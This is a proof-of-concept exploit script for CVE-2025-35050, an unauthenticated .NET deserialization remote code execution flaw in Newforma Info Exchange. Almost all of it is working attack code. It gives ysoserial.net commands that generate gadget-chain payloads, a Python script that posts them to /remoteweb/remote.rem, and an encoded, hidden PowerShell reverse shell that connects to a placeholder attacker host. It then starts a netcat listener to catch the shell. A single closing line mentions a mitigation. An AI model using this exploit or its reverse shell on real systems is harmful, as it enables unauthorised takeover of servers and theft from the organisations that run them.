CVE-2025-35050 Newforma Info Exchange 远程代码执行漏洞

# CVE-2025-35050 PoC - Newforma Info Exchange .NET Deserialization RCE # Vulnerability: Unauthenticated .NET deserialization at /remoteweb/remote.rem # CVSS: 9.8 CRITICAL # # Prerequisites: # - ysoserial.net (https://github.com/pwntester/ysoserial.net) # - Target URL accessible (e.g., http://target/remoteweb/remote.rem) # # Step 1: Generate malicious serialized payload using ysoserial.net # The following command generates a payload that executes a command via WindowsIdentity gadget chain # # ysoserial.net.exe -g WindowsIdentity -f BinaryFormatter -c "powershell -enc <base64_encoded_cmd>" -o raw > payload.bin # # Alternative using SoapFormatter (since .NET Remoting typically uses SOAP/binary): # ysoserial.net.exe -g WindowsIdentity -f SoapFormatter -c "calc.exe" -o raw > payload.bin # # Step 2: Send the payload to the vulnerable endpoint import requests import subprocess import sys import base64 TARGET_URL = "http://target-host/remoteweb/remote.rem" LISTENER_HOST = "attacker-ip" LISTENER_PORT = 4444 def generate_payload(command): """Generate .NET deserialization payload using ysoserial.net""" # Use WindowsIdentity gadget chain with BinaryFormatter cmd = [ "ysoserial.net.exe", "-g", "WindowsIdentity", "-f", "BinaryFormatter", "-c", command, "-o", "raw" ] result = subprocess.run(cmd, capture_output=True) return result.stdout def exploit(target_url, command): """Send malicious serialized payload to vulnerable endpoint""" payload = generate_payload(command) headers = { "Content-Type": "application/octet-stream", "User-Agent": "Mozilla/5.0" } # .NET Remoting typically expects specific content type response = requests.post( target_url, data=payload, headers=headers, timeout=30 ) print(f"[+] Target: {target_url}") print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") return response if __name__ == "__main__": # Reverse shell command (example using PowerShell) ps_cmd = f"$client = New-Object System.Net.Sockets.TCPClient('{LISTENER_HOST}',{LISTENER_PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}" b64_cmd = base64.b64encode(ps_cmd.encode('utf-16-le')).decode() full_command = f"powershell -nop -w hidden -enc {b64_cmd}" exploit(TARGET_URL, full_command) # Step 3: On attacker machine, start a listener # nc -lvnp 4444 # # Mitigation: Restrict network access to /remoteweb/remote.rem endpoint # using IIS URL Rewrite Module to block unauthorized access.